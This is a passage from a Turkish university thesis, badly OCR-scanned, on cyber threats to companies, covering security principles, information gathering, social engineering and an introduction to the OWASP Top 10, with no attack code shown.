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OZET

Anahtar kelimeler: siber guvenlik, owasp, kurumsal bilgi giivenligi, sizma testi

Siber giivenlik, giinliik yasantimizin her alaninda 6nemi her gecen giin artan bir
kavramdir. Teknoloji kullanim alanlarmin ve kullanim oraninin artmasi bunun en
onemli sebeplerindendir. Gilinlimiizde saglik, turizm, egitim, ulagim, iletisim,
bankacilik gibi aklimiza gelebilecek bir¢ok sektorde bilgi teknolojilerinin aktif
kullanim1 goriilmektedir. Bu sektorlerde faaliyet gosteren firmalar olasi siber saldiri
durumlarinda ciddi maddi kayiplara ugrayabilirler, itibarlar1 zedelenebilir. Bu durum
kurumsal bilgi giivenligini 6nemli bir baslik olarak karsimiza ¢ikarmaktadir.

Kurumlara yapilan siber saldirilar ¢ok ¢esitli yontemler ve teknikler ile uygulanabilir.
Bunlar; genel olarak sosyal miihendislik, fiziksel saldirilar ve zararli yazilimlar
olarak gruplandirilabilir.

Bu calismada kurumlarin maruz kaldig: siber saldir1 tehditleri ve saldir1 senaryolari
incelenmistir. Laboratuvar ortamlarinda ¢esitli yardimer araglar kullanilarak bu
senaryolar gerceklestirilmistir. Ornek senaryolarda, OWASP’mn (Open Web
Application Security Project) 2021 yilinda yaymlamis oldugu en sik rastlanan 10
zafiyet listesi referans olarak alinmistir. OWASP, web uygulamalarinda bulunan
acikliklarin kapatilmast ve bu uygulamalarda giivenligin saglanmasini amacglayan
0zgr bir topluluktur.

Calismanin amaci, kurumlara gerceklestirilebilecek olasi saldirilar1 incelemek ve
incelemeler sonucunda, siber giivenligin 6neminin anlagilmasini saglayan bir kaynak
teskil etmektir. Ayni zamanda Ornek saldir1 senaryolariyla, kurumlarin maruz
kalabilecekleri saldir1 noktalarina dikkat ¢ekilmesi hedeflenmistir.

Xii



RESEARCH OF CYBER THREATS AND ATTACK SCENARIOS
FOR CORPORATE SECURITY

SUMMARY

Keywords: cyber security, owasp, corporate information security, penetration test

Cyber security is important in every aspect of our daily life. The increase in
technology usage areas and usage rate is one of the most important reasons for this.
Today, active use of information technologies is seen in many sectors that we can
think of, such as health, tourism, education, transportation, communication and
banking. Companies operating in these sectors may suffer serious financial losses
and their reputations may be damaged in case of possible cyber attacks. This
situation makes corporate information security an important topic.

Cyber attacks on corporate companies can be implemented with a wide variety of
methods and techniques. These can be grouped into social engineering, physical
attacks, and malware.

In this study, cyber attack threats and attack scenarios on corporate companies were
examined. These scenarios have been implemented in laboratory environments by
using various tools. In the example scenarios, the 10 most common vulnerabilities
list published by OWASP (Open Web Application Security Project) in 2021 are
taken as reference. OWASP is a foundation that aims to fix security vulnerabilities in
web applications and ensure security in these applications.

The aim of this study is to examine possible attacks on corporate companies and to
be a resource that provides an understanding of the importance of cyber security as a
result of the examinations. In addition, it is aimed to draw attention to security
vulnerabilities in corporate companies with sample attack scenarios.

Xiii



BOLUM 1. GIRIS

Gelisen teknoloji sayesinde, internet kavrami giindelik yasantimizin vazgegilmez bir
parcast olarak karsimiza c¢ikmaktadir. Bu kavramin hayatimizin her alaninda
karsimiza ¢ikmasinin sebebi, genel olarak bizlere sagladig faydalar ve kolayliklardir.
Gliniimiizde saglik, turizm, egitim, ulagim, iletisim ve haberlesme, bankacilik ve
hemen hemen aklimiza gelebilecek tim sektdrlerde bilgi teknolojilerinin aktif
kullanimi1 goriilmektedir. Internet ve teknoloji sayesinde giiniimiizde zaman ve
mekan kavraminin 6nemi giderek azalmakta, temassiz 6deme sistemleri ile hizlica
O6deme yapilabilmekte ya da anlik takip uygulamalar ile firmalar araglarini canh
olarak izleyebilmektedir. Artik devletler de ihtiyaclarimin biiyiik bir kismini bilgi
teknolojilerini kullanarak gidermektedirler. Devlete ait basta iletisim, ulasim, saglik
ve egitim alaninda olmak {izere bir¢ok sistem bu teknolojiler (zerinden

haberlesmekte ve senkron olarak ¢alismaktadir [1].

Bilgi sistemlerinin kullaniminin kiiresel 6l¢ekte artmasi ve bu sistemlerin hayatimiza
vazgecilmez bir 0ge olarak yerlesmesi, bu sistemlerin gilivenliginin saglanmasi
konusunu ciddi ve 6nem verilmesi gereken bir baslik olarak karsimiza ¢gikarmaktadir.
Yazilim tarafinda yapilan hatalar, kullanilan teknolojilerdeki acikliklar, bilingsiz
kullanicilar, organize saldirilar gibi bir¢cok sebepten dolayr sistemler kotii niyetli
kisiler tarafindan ele gegirilebilir, hizmet veremez hale getirilebilir ve bunun sonucu
olarak, kredi kart1 bilgileri, kimlik bilgileri gibi kisisel bilgiler ele geg¢irilebilir, fidye
yazilimlari ile sistemler devre dist birakilip maddi zararlar meydana gelebilir, saglik
ve haberlesme gibi siirekliliginin saglanmas1 gereken sistemlerin kesintiye
ugramasiyla can ve mal kayiplar1 olusabilir. Askeri sistemlere yapilacak saldirilar ile
guvenlik tehlikeye girebilir. Tum bu sebeplerle ginimuizde siber glvenlik, ulusal

giivenligin ¢ok dnemli bir bileseni olarak karsimiza ¢ikmaktadir [2].



Bilisim sistemlerinin kullaniminin artmasi ile giliniimiizde ¢ok cesitli teknik ve
metodolojilerle saldirilar gergeklestirmek miimkiindiir. Bu saldirilarin karmasikligi
her gecen gln artmakta olup, bilgi sistemini kullanan cihaz sayisiyla paralel olarak
gerceklesen saldir1 sayisi da artis gostermektedir. Cok gelismis ve kompleks bir
saldirmin tamamen durdurulmasi bazi durumlarda miimkiin olmayabilir. Bilgi
giivenligi uzmanlarinin, herhangi bir saldirt durumunda 6ncelikli hedefleri, saldirinin
tamamen engellenmesidir. Tamamen engellenemeyen saldirilarda ise hedef, miimkiin
olan en az hasar/kayip ile atlatmaktir. Siber saldirtya maruz kalmis ve zarar gérmiis
bir kullanicinin, bulundugu agdaki diger kullanicilarin ve sistemin giivenligini de
tehdit edebiliyor olmasi, 6zellikle kurumsal aglar i¢in biiyiik bir risk icermektedir. Bu
sebeple kurumsal firmalar siber farkindaligin olusmasi icin calisanlarina egitimler
diizenlemekte, bilgi giivenliginin son kullanicida basladigina dair bilgilendirmeler
yapmaktadirlar. Genelde c¢alisanlarina sagladiklart cihazlarin kontroliinii kendi
blinyelerinde saglamayi hedefleyen, kullanicilarin sadece belirli servisleri
kullanmasin1 amaglayan, kisacas1 verilen cihazda herhangi bir sahsi islem
yapilmasinin 6niine geg¢ilmesini hedefleyen bir politika izlemektedirler. Buradaki
amag¢ aslinda calisan1 kisitlamaktan ziyade bilgi gilivenliginin saglanmasidir. Son
yillarda artan siber saldir1 siklig1, yasanan maddi kayiplar ve itibar zedelenmesi, bu
saldirilara karst kurumlari bu ydnde bir politikaya sevk etmistir. Egitimlerin
periyodik olarak tekrarlanmasiyla da bilgi giivenliginin Oneminin c¢alisanlara

aktarilmasi amaglanmistir.

Gilinlimiizde siber saldirilar, kurumlar ve sirketler i¢in giderek karmasik hale gelen
bir saldir1 yontemi olarak tanimlanmaktadir. Olumsuz etkileri géz ontine alindiginda,
mutlaka 6nlem alinmasi gereken ve ciddi sorunlar olusturabilecek bir problem olarak
karsimiza ¢ikmaktadir. Giiniimiizde teknolojinin gelisimine paralel olarak siber
korsanlarin da gelismis yeteneklere sahip olduklar1 gbz 6niinde bulundurulmalidir.
Kurumlarin saldirtya maruz kalmadan ya da saldiri durumunda, saldiriya cevap
verebilecek bir siber savunma planinin olmasi gerektigi asikardir. Siber saldiriya
ugramis ve zarar gérmiis bir kurumun, maddi zarardan ziyade ugrayacag itibar ve
miisteri kayb1 ¢cok ciddi bir kayip olarak karsimiza ¢ikmaktadir. Kurumlarin, saldiri

oncesi, saldir1 esnasinda ve saldir1 sonrasi olabilecek en kotii senaryolar tizerinden



bir siber giivenlik eylem planini olusturmasi gereklilik haline gelmistir. Siber
giivenlik plan1 olmayan ya da siber saldirilara gereken 6nemi vermeyen kurumlar,

siber korsanlar igin agik ve kolay hedefler olarak goriilmektedir [3].
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Sekil 1.1. Kuruluglarmn siber giivenligi uygulama agamasinda karsilastiklar zorluklar [4].

Siber saldirilar i¢in farkindalik olusturulmasi, tehditlerin taninmasi bilgi giivenligi
icin kritik 6neme sahiptir. Fakat siber saldirilarla miicadele i¢in ana unsurlara, yani
saldir1 tespiti ve saldir1 engellenmesine ihtiyac vardir. Saldirilar i¢in dnceden aksiyon
alinmasi ve 1lgili personelin kabiliyeti, glivenlik noktasinda en 6nemli konulardandir.
Fakat ne kadar 6nlem alinirsa alinsin, ylizde yiiz giivenlik diye bir kavramin olmadigi
unutulmamalidir. Siber korsanlarin hedefe ulagsmasini zorlasgtirmak ve yildirmaya

calismak nihai hedeftir [5].

Bu tez calismasinda giiniimiizde ciddi bir glivenlik problemi olarak karsimiza ¢ikan,
kurumlarin en ¢ok maruz kaldig: siber saldir1 yontemleri incelenecek ve 6rnek saldir
senaryolarma yer verilecektir. Kurumlara yapilan saldirilarin incelenmesi, bu

saldirilara karst nasil bir aksiyon alinmasi gerektigi gibi konu bagliklar {izerine



caligilacaktir. Siber saldirilarin kurumlar i¢in ciddi bir problem olusturduguna dair
bir siber farkindalik olusturulmasi ve ilerleyen zamanlarda yapilacak calismalar igin

bir kaynak olmasi hedeflenmektedir.

Bu calisma bes farkli boliimden olugmaktadir. Birinci boliimde calismanin genel
amacindan bahsedilmis, literatiir taramasmna yer verilmistir. Ikinci béliimde
calismanin daha iyi anlagilabilmesi amaciyla bilgi giivenligi ve ilkeleri, siber saldir1
tirleri ve kurumlarin maruz kalmis olduklart 6rnek saldirilar hakkinda bilgiler
bulunmaktadir. Uglincti bélimde kurumlarin kars: karstya kaldig: siber saldirt tiirleri
incelenip bu saldirilar uygun bir laboratuvar ortaminda gergeklestirilmistir. Ornek
saldir1 senaryolar1 detayli bir sekilde acgiklanmig, hangi acikliklarin tehdit
olusturabilecegine deginilmistir. DOrdunct  bolimde gergeklestirilen  saldir
senaryolartyla ilgili elde edilen aragtirma bulgularina yer verilmistir. Olas1 siber
saldir1 senaryolar1 {lizerine analizler yapilmistir. Besinci boliimde ise calismanin
amacindan bahsedilmistir. Calisma hakkinda degerlendirmeler yapilmis, gelecekte

yapilabilecek ¢aligmalarla ilgili 6rnekler verilmistir.

1.1. Literatir Tarama

Hakan Yasar, Siber giivenlige yonelik tehditleri ve 6rnek eylem planin1 sundugu
caligmasinda, kurumsal siber giivenlige yonelik olasi tehditleri ele almis, bu tehditler
ile miicadele yontemlerinden bahsetmistir. Siber suglarin hukuksal boyutu ve
kurumsal siber giivenlik eylem plani gibi konulara da bu calisma kapsaminda

deginilmistir [1].

Mustafa Yasir Sentlirk makale ¢alismasinda giincel saldir1 yontemlerini ve en sik
kullanilan s1zma testi araglarini incelemistir. Aktif bilgi toplama, pasif bilgi toplama,
guvenlik aciklarinin taranmasi, web uygulama saldirilar1 ve benzer bir¢ok saldiri
yontemleri hakkinda detayli arastirmalar yapmustir. Inceledigi araglari temsili bir
kurumsal mimari tiizerinde modellemistir. Makalede siber giivenlik alaninda

alinabilecek sertifikalar ve sinavlar ile alakali boliim de bulunmaktadir [6].



Seda Yilmaz yaptigi caligmada siber giivenligin saglanmasinda yazilim kalite
stireclerinin 6nemini incelemistir. Yapmis oldugu anket calismasi ile bilgi giivenligi
ve giivenli yazilim gelistirme konularinda farkindaligin yiiksek oldugu sonucuna
ulagmistir. Ancak bu sonuglarin aksine kurumlarin gerekli yazilim kalite siireclerini
uygulamadiklarini gérmiistiir. Bu sebeple yazilim kalite siireci sertifikalarinin

kurumlar igin yasal zorunluluk haline gelmesi gerektigi sonucuna ulagmistir [7].

Recep Ozbay ¢alismasinda aktif siber savunma tekniklerini incelemis, uygulamalarla
calismasin1 desteklemistir. Aktif siber savunmanin kamu kuruluglarinda giivenligi
artirmak i¢in nasil kullanilabilecegini gostermek amaciyla bir laboratuvar ortaminda
testler yapmistir. Bu testlerle, aktif siber savunma tekniklerinin giivenligi artirdig

sonucuna ulasmistir [8].

Akin Aytekin yapmig oldugu caligmada siber giivenligin ulusal agidan Onemini
degerlendirmis, Tiirkiye’nin Ulusal Siber Giivenlik Stratejisi ve 2013-2014 Eylem
Plan’n1 incelemistir. Incelemeleri sonucunda mevcut yasalarin yetersiz oldugu
alanlar1 tespit etmistir. Siber su¢ ile miicadelede verilmesi gereken egitimlerde
eksiklikler oldugunu, biitcelendirme, standart olusturma gibi konularda gelistirmeler

yapilmasi gerektigi sonuglarina varmistir [3].

Hasan Yilmaz makalesinde TS ISO/IEC 27001 Standardi kapsaminda BGYS’nin
(Bilgi Giivenligi Yonetim Sistemi) kurulmasi, risk analizi yapilmasi iizerine
calismistir. Caligmalar1 sonucunda bilgi giivenliginin saglanmasi i¢in korunma
amagl teknolojilerin kullanilmasinin yani sira BGY S’ nin kullaniminin gerekliligini
ortaya koymustur. Ayrica giivenlik konusunda en o6nemli etkenlerden birinin de

calisanlarin egitilmesi oldugunu belirtmistir [9].

Ebru Yeniman Yildirim, ¢aligmasinda farkli kurumlarin uyguladigi siber giivenlik
raporlar1 ve anketlerini incelemistir. Siber glivenlik ve farkindalik konusunda ¢esitli
onerilerde bulunmustur. Uygulanan anketlerin ortak sonuclarina gore, kurumlarin

olas1 bir siber saldirt durumunda belirli bir plana sahip olmadiklari, ¢cogunun siber



giivenlik uzmant bulundurmadiklari, kurum c¢alisanlarina gerekli egitimleri

vermedikleri sonuglarina ulasmistir [10].

Durmus Aydogdu ve Sedef Giindiiz, yapmis olduklar1 ¢alismada OWASP Top 10
2013 zafiyet listesini incelemislerdir. Zafiyetler i¢in giivenlik ¢oziimlerini arastirmisg
ve degerlendirmislerdir. Caligmalarinin sonucunda; zafiyetlerin biiylik kisminin kod
kusurlarindan kaynaklandigi, zafiyetlerin engellenmesi i¢in gelistiricilerin yani sira
uc kullanicilarin da egitilmesi gerektigi, saldir1 tespit yontemlerinden faydalanilmasi
gerektigi ve gilincel agikliklarin takip edilmesinin 6nemli oldugu sonuglarina

ulagmislardir [11].



BOLUM 2. BiLGi GUVENLIGIi

2.1. Kurumsal Siber Giivenlik / Bilgi Giivenligi

Siber ortamlarda maddi ve manevi kayiplarin onlenmesi i¢in bu ortamda bulunan
bilgilerin korunmasi gerekmektedir. Hayatimizi kolaylastirmast ve is siireglerini
hizlandirmasi sebebiyle bilgi sistemlerinin giivenligi her gecen giin daha ¢ok 6nem

kazanmaktadir [12].

Bilgi sistemlerinde giivenlik en zayif noktadan baslar. Kuruluslar bu prensibi goz
oniinde bulundurarak siber diinyada rol alan tiim varliklar1 bir risk olarak goriip buna
gore bir siber eylem plan1 olusturmalidir. Cok siki korunan bir sistem, bir
kullanicinin bilingsiz bir hamlesiyle ele gecirilebilir. Bu durum da aslinda bizlere

siber giivenlige olan ihtiya¢ ve dnemi 6zetlemektedir.

Siber saldirilara en ¢ok kurum ve sirketler maruz kalmaktadirlar. Kurumsal siber
giivenlik kavrami, kurumsal bilgi giivenligi farkindaliginin arttirilmasi, kurumsal
kritik bilgi ve iletisim sistem altyapilarinin is siirekliliginin ve verilerin glivenliginin

saglanmasini temin etmektedir.

Ermst & Young isimli uluslararasi denetim ve damigsmanlik firmasi 2008 yilinda,
Tirkiye’nin de i¢inde bulundugu 50 iilke ve 1400 kurulus ile Kiiresel Bilgi Giivenligi
anketi yapmistir. Anket sonuglart bilgi giivenliginin dogru sekilde saglanmasinin
kurum itibarmni ciddi oranda etkiledigini gostermektedir. Ankete katilanlarin %85’
olas1 bir bilgi gilivenligi ihlalinde itibar kaybi oldugunu, %72’si de gelir kaybi
oldugunu belirtmistir [9].



Perakende Sektorii: 92 %

/ Bankacilik: 80 %

Finansal Servisler: 80 %

Saglhk: 88 %

Teknoloji: 85 %

Sekil 2.1. Farkl alanlarda web uygulamalarindaki agiklik bulunma yiizdeleri [11].

Kurumsal siber giivenligin saglanmasi i¢in her tiirlii yazilimin yani sira donanimin ve
personelin de giivenlik agisindan bir problem teskil etmemesi Onemlidir. Olasi
saldirilardan  korunmak igin gerekli analizler yeterli ve periyodik olarak

gerceklestirilmelidir [1].

Insan kaynakli Doga kaynakl
tehditler tehditler

Sekil 2.2. Siber tehditlerin siniflandirilmasi [1].

Kurumsal siber giivenlige yonelik tehditler insan kaynakli ve doga kaynakli olarak

ikiye ayrilmaktadir.

Insan kaynakli tehditler: Insan kaynakli tehditler kurum ici ve kurum dis1 olarak
ikiye ayrilir. Kurum igin tehditlere; bilingsiz kullanicilar ve personeller, casuslar, art

niyetli personeller, sistem yoOneticisi hatalari, gelistirici hatalar1 6rnek olarak



verilebilir. Kurum dig1 tehditler ise genelde internet ortamindan gelen yetkisiz erigim,

veri ¢calma gibi yontemlere bagvuran kotii niyetli saldirganlar1 kapsamaktadir.

Doga kaynakli tehditler: Doga kaynakli tehditler daha c¢ok dogru sekilde
korunmayan/ yedeklenmeyen sunucularin etkilenmesine ve zarar gérmesine sebep

olacak sel, yangin, deprem gibi durumlar1 kapsamaktadir [1].

2.2. Bilgi Giivenliginin Temel ilkeleri

Kurum ve kuruluslar i¢in siber gilivenligin amaci, siber giivenligin temel ii¢ ilkesi
olan gizlilik, biitiinliik ve erisilebilirlik unsurlarinin saglanmasidir. Bu temel
unsurlarin yerine getirilmesi bilgi gilivenliginin saglanmasi anlamina gelir. Her bir
unsur digerlerinden bagimsiz diisiiniilmemelidir. Gizli bir bilginin bu ii¢ unsura ayni
anda sahip olmasi gerekmektedir. Erisim saglanamayan bir bilginin gizliligi, erisilen

bir bilginin biitiinliigl giivenli olduklarini gostermez [13].

2.2.1. Gizlilik

Bilginin yetkisiz kisilerine eline ge¢mesine karsin korunmasidir. Bilgiye yalnizca
erismeye izni olan kisiler erismelidir. Bunun disindaki herhangi bir erisim bilginin
gizliligini kaybetmesine sebep olur. Genellikle kurumlar bu ilkeyi saglamak i¢in belli
kurallar ve kanunlar olustururlar. Yine gizlilik farkli gergeveler ile sinirlandirilabilir.
Bir bilgiyi bir kisi sadece okuyabilirken bir digeri okuma ve diizenleme yetkisine

sahip olabilir. Bu sirlarin giivenli bir bigimde netlestirilmesi olduk¢a 6nemlidir
[14].

2.2.2. Butunluk

Bilginin yetkisiz kisilerce degistirilmemesidir. Bu ilke verinin belli bir biitlin
icerisinde korunmasini saglamaya hedefler. Bilginin kiiciik bir kisminin gorecegi
zarar bile karar verme mekanizmalarini yaniltabilir, biiyiik sorunlara yol acabilir. Bu

sebeple bilginin korunmasi ¢ok 6nemlidir [14].
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2.2.3. Erisilebilirlik

Bilgiye yetkili kisilerin erisebilir, ulasabilir ve kullanabilir olmasidir. Erisilebilirlik
ilkesinde yetkilendirme ¢ok 6nemlidir. Dogru ve giivenli bir sekilde yapilandirilmasi
gerekmektedir [14]. Bu ii¢ ilkenin ve is siirekliliginin saglanmasi kurumlarin temel

siber giivenlik planinin biiyiik kismini olusturur [1].

2.3. Bilgi Giivenliginin Yardime ilkeleri

2.3.1. Kimlik sisnama

Kullanicinin sisteme giris ic¢in izni oldugunu kanitlamasidir. Bu ilkede siirec,
kullanicinin sisteme kaydiyla baglar. Kullaniciya sadece kendisinin bildigi veya sahip
oldugu bir 6zellik atanir. Bu 6zellik bir sifre, parmak izi veya kisiye verilecek akilli
bir kart olabilir. Kullanict yalnizca bu 6zellik veya 6zelliklerle sisteme giris yapabilir

[14].

2.3.2. inkar edememe

Kullanicilar arasinda yapilan islemlerin, bilgi paylasimlarinin kaydedilmesi ve
sonrasinda kullanicilarin bu islemleri inkar etmesinin engellenmesi seklinde isleyen
bir ilkedir. Bu ilkenin uygulanmasi i¢in haberlesme sirasinda bazi tanimlayici

isaretler kullanilir, iglemler kayit altina alinir. Elektronik imza teknolojisi buna bir

ornektir [14].
2.3.3. Kayit tutma
Yapilan tiim islemlerin kaydedilmesidir. Bu kayitlarla kisilerin hangi islemleri

yaptiklar1 raporlanabilir ve bir problem oldugunda sorunun kimden kaynaklandigi

kolaylikla saptanabilir [14].
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2.3.4. Guvenilirlik

Sistemin kendisinden bekleneni kesintisiz olarak yerine getirebilmesidir [14].

2.3.5. Emniyet

Bilgilerin tutuldugu sistemlerin fiziksel durumlara karsi korunmasina dayali bir
ilkedir. Dogal afetler veya insan hatasiyla ortaya ¢ikabilecek kazalara karsi sistemler

korunuyor olmalidir [14].

2.3.6. Kurtarilabilirlik

Bilginin gerektiginde tekrar elde edilebilmesidir. Belli araliklarla yapilacak
yedekleme islemleri bu ilkenin uygulanma ydntemlerindendir. Kayitlarin diizenli

olarak tutulmasi ve kontrollerinin yapilmasi olduk¢a 6nemlidir [14].

Kurumsal siber giivenlikte bilgi giivenligi yonetiminin verimli sekilde yapilmasi i¢in
ISO 27001 BGYS kullanilabilir. ISO, Tiirkce agilimi ile Uluslararasi
Standardizasyon Kurulusu, Ingilizce agilimi ile International Organization for
Standardization anlamina gelir. ISO 27001 BGYS, sirketlerin finansal verilerini, fikri
miilkiyetlerini ve hassas miisteri bilgilerini korumalarina yardimci olan uluslararasi
bir gercevedir. ISO 27001 sayesinde sirketler risklerini tanimlayabilir, gizli bilgileri
konusundaki riskleri yonetebilir veya azaltabilir.

Yani BGYS,; siber saldirilara karsi, teknik 6nlemlerin yani sira insanlari, siiregleri ve
bilgi sistemlerini igine alan bir yap1 kurulmasmi gerektirmektedir. Bilginin
gizliligini, biitiinliglinli ve kesintisiz kullanilabilirligini saglamay1 hedeflemektedir.
Bu sistem, caliganlari, is siireclerini ve bilgi teknolojileri sistemlerini kapsamaktadir.

Daha ¢ok yonetim (zerinde duran bir yapidir.

BGYS, bir kurumun isleyisindeki her asamada etkiye sahiptir. Ornegin bir ¢aliganin

heniliz ige alinma asamasinda giivenlik konusunda egitilmesini saglar. Calisan
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yapacagi tiim is ve siireglerde belli prosediirlere uymalidir. Kurumun {izerine diisen
gorevler ise; donanimsal ve yazilimsal gereklilik ve tedbirlerin alinmasi olarak

Ozetlenebilir.

BGYS’ye gore, tiim siireglerin risk analizlerinin yapilmasi gerekmektedir. Sekil
2.3.’de Ornek bir siire¢ modellemesi ve risk analizi goriilmektedir. Herhangi bir
kurumda her bir siire¢ igin benzer risk analizi ¢alismasi detayli bir sekilde,

hassasiyetle yapilmalidir [15].

1. Bilgisayar

— i . sifr ) i /| _—
Kollanicist Basit sifre kullanimi, sifrenin korunmamasi, baskalarivla paylasilmast

2. Veri ——>» Eksik veya vanlis veni >
3. Web Sifre girmenin zorunlu olmamasi, gizlilik ve bitiinlik kontrollerinin
- —_—> b - _—
Uwgulamast vapilmamasi, hata ve uvari mesajlarimin olmamast/yetersiz olmasi
Gizlilik, bittnlik
ve siireklilik
o Lisanssiz kullanim, 15letim sisteminin giincel olmamas, giivenlik ilkelerinin thlalleri
4. Bilgisayar ——» R _— .
duvaninm akuf olmamasi sonucunda ig
strecinin sekteye
ugramasi
-
5. Iﬁ:::m f———— 3 Sifreleme yapilmamasi. iletisun hattinda yedekleme olmamasi —8¥ —
6. Uygulama Uygulama sunucusunun giincel olmamasi, yedekleme N
—_—
Sunucu planlamasinm dogru yapilandinlmamas: -
5 Lisanssiz kullanim, yedekleme planlamasimn dogru yapilandinlmamasi,
7. Vert Tabami ——— - - N D ——
veri tabaninin fiziksel givenliginin vetersiz olmasi
| |
Sayisal Islem Acikliklar ve Risk
(Is Siireci) Tehditler
Varlik

Sekil 2.3. Ornek bir siireg modeli ve modelin kullanilarak risk analizi yapilmas [15].
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2.4. Bilgi Toplama Yontemleri

2.4.1. Pasif bilgi toplama

Saldirganin hedefi hakkinda, herhangi bir dogrudan temas olmadan bilgi toplamasina
pasif bilgi toplama denir. Pasif bilgi toplamada herkesin erisebilecegi ortamlardan
veriler toplanir. Hedefin web sitesindeki veriler veya farkli sitelerde hedefle veya
hedefle baglantis1 bulunanlarla ilgili bulunan tiim veriler buna dahildir. Pasif bilgi
toplama yoOntemlerinden biri de arama motorlarinin kullanimidir. Cesitli arama
motorlar1 yardimiyla belli bir firma ile ilgili bir¢ok bilgiye kisa siire icinde ulasilmas1
mumkindiir. Pasif bilgi toplama yontemiyle elde edilen veriler bir¢ok farkli saldirida
kullanilabilir. Ozellikle sosyal miihendislik saldirilarinda sik¢a kullamildig
gorilmektedir [6].

2.4.2. Aktif bilgi toplama

Aktif bilgi toplama yonteminde hedef sistemle dogrudan temas mevcuttur. Bu
yontem kullanildiginda hedefin durumdan haberi olacakti. DNS sorgulari, port
tarama, kaba kuvvet saldirilart aktif bilgi toplama yontemlerinden bazilaridir. Aktif
bilgi toplama yontemleri uygulandiginda hedef sistemde giinliik kayitlar {iretilecektir.
Bu durum yetkisiz erisim girisimi olarak kabul edildiginden dolay1 yasal yaptirimlara
sebep olabilmektedir. Bu sebeple aktif bilgi toplama uzmanlk gerektirmektedir.

Beyaz sapkali hackerlarin gizlilik s6zlesmesi kapsaminda yaptiklart bir yontemdir

[6]

2.5. Siber Saldir1 Tiirleri
2.5.1. Fiziksel saldirilar
Siber saldir1 deyince genelde akla ilk olarak uzaktan, ag araciligiyla yapilan saldirilar

gelmektedir. Ancak fiziksel araglar kullanilarak yapilabilen bir¢ok siber saldir1 da

mevcuttur. Fiziksel saldirilarda bilgisayarlardaki USB girisleri veya telefonlardaki
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girisler kullanilabilmektedir. Ancak elbette bunlarla sinirli degildir. Ornegin
giiniimiizde kullanimi her gecen giin yayginlasan akilli araglara da siber saldirilar

yapilmaktadir.

Bir akilli arabaya saldiri yapmak isteyen saldirganin dahili aga fiziksel olarak
erigmesi gerekir. Bunun i¢in OBD-II (On-Board Diagnostic Systems) baglanti
noktasi, medya oynaticisi, USB baglantt noktalari, Bluetooth veya hiicresel
arabirimleri kullanabilir. Bu sekilde araglardaki yazilimlara zarar verebilir, etkisiz

hale getirebilir veya istenmeyen komutlar gondererek yonetimi eline alabilir [16].

Fiziksel yontemlerle gerceklestirilen siber saldirilar1 6nlemek igin genellikle
kurumsal firmalarda port koruma sistemleri bulunmaktadir. Bu sistemler, portlara
veri girisi yapabilecek Ozellikteki cihazlar1 engellemektedir. Bu portlar sadece,
klavye, fare gibi giris/cikis birimlerinin bilgisayara ulagabilmesine izin vermektedir.

Veri aligverisinin fiziksel yollarla yapilmasini tamamen engellemektedir.

2.5.2. Sosyal muhendislik

Sistemlerin ele gegcirilmesi, ¢alisamaz duruma getirilmesi, hassas verilerin ¢calinmasi
gibi bircok amacla cesitli siber saldirilar gerceklestirilir. Bu saldirilara ¢6ziim olarak
cesitli yazilimsal veya donanimsal tedbirler mevcuttur. Ancak tiim bu tedbirlerin
disinda kalan bir siber saldir1 tiiri vardir. Bu tiir, sosyal miihendislik olarak
adlandirilir. Sosyal miihendislik; insan iligkilerini kullanarak belli bir kurum ya da
kisilerin hassas ve 6zel bilgilerinin ele gecirilmesidir. Ikna etme, etkileme, aldatma,
dikkatsizliklerden faydalanma gibi yontemlerle gerceklestirilir. Bu tiir saldirilarda
hedef, insan oldugu i¢in korunmak biraz daha zorlagsabilmektedir. Saldirilara karsi
aliabilecek oOnlemler; kurumlardaki calisanlarin egitilmesi veya dogal dil isleme

teknikleri kullanan yazilimlardir.

Sosyal miihendislik ile yapilan saldirilara soyle bir érnek verilebilir: Ornegin bir
kurumun yazilim destegi aldig1 ve siirekli e-posta iizerinden haberlestigi bir firma

mevcuttur. Saldirganlar bu bilgiye sahip ise, firma ile gorlismeleri gerceklestiren
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kurum calisanina sanki firmaya aitmis gibi goriinen ama uzantis1 farkli olan bir e-
posta adresi tizerinden ulasabilirler. Calisanin o andaki dikkatsizligi ve e-postadaki
yanlishgr fark edememesi hassas verileri saldirganla paylasmasina veya saldirganin

taleplerini sorgusuz sualsiz ger¢eklestirmesine neden olacaktir.

Kurumsal saldirilar disinda, sosyal miihendislik saldirilar1 giinliikk yasantimizda da
bolca gériilmektedir. Ornegin; bir kullanicinin sosyal medya hesabini ele gegiren
saldirgan, kullanicinin yakinlarima mesajlar atarak onlardan 6deme talep edebilir,
cesitli zararli linkler gondererek linke tiklayan kullanicilarin da verilerini ele

gecirebilir [15].

Orneklerden de anlasilabilecegi iizere sosyal miihendislik alaninda hem kurumlara
hem kisilere ¢esitli sorumluluklar diismektedir. Kurumlarin ¢esitli yazilimlarla
mimkiin oldugunca tehlikeli icerikleri engellemesi veya kullanicilara uyarilar
gostermesi gerekmektedir. Ayrica calisanlarini gesitli egitimlerle bilgilendirmelidir.
Kisiler ise ozellikle hassas bilgileri gonderdikleri islemlerde ekstra 6zen ve dikkat

gostermelidirler.

2.5.3. Web uygulama saldirilar

Bu béliimde siber tehditlerin detayli incelenmesi amaciyla OWASP Top 10 zafiyet
listesi referans alinmistir. OWASP’1n acilim1 Open Web Application Security Project
yani Acik Web Uygulama Giivenligi Projesi olarak tanimlanmaktadir. OWASP web
uygulamalarinda bulunan agiklarin kapatilmasi ve bu uygulamalarda giivenligin

saglanmasini amaglayan 6zgiir bir topluluktur.
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Saldurt Seviyesi

A D Orta Seviye
P
D Diisiik Seviye
L T P
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A AP D [ AR [ AP () AN () AP ) R P
0 [— —] 3 Kuruluslar
- Devlet Saglik i S Finansal BT -
Hastane  Universiteler Okullar Saglik § por Bankalar -
Kuumlari Hizmeti  Kuruluslan  Dallan Kuruluslar Kyruluslan

Sekil 2.4. Farkli kuruluslarin maruz kaldiklar saldirt seviyeleri [17].

OWASP, bir¢ok firmadan ve web uygulama sizma testleri ile ilgili caligmalar yapan
kisilerden bilgiler toplamaktadir. Sonrasinda bu bilgileri analiz ederek o yila ait en

riskli 10 glvenlik zafiyetinin istatistigini ¢ikartmakta ve ticretsiz olarak sunmaktadir.

2017 2021
AD1:2017-Injection _= AD1:2021-Broken Access Control
A02:2017-Broken Authentication ~ . T ~~ = A02:2021-Cryptographic Failures
AD03:2017-Sensitive Data Exposure —>= / ~3 AD3:2021-Injection
AD4:2017-XML External Entities (XXE) 2N (New) AD4:2021-Insecure Design
A05:2017-Broken Access Control -~ S % A05:2021-Security Misconfiguration
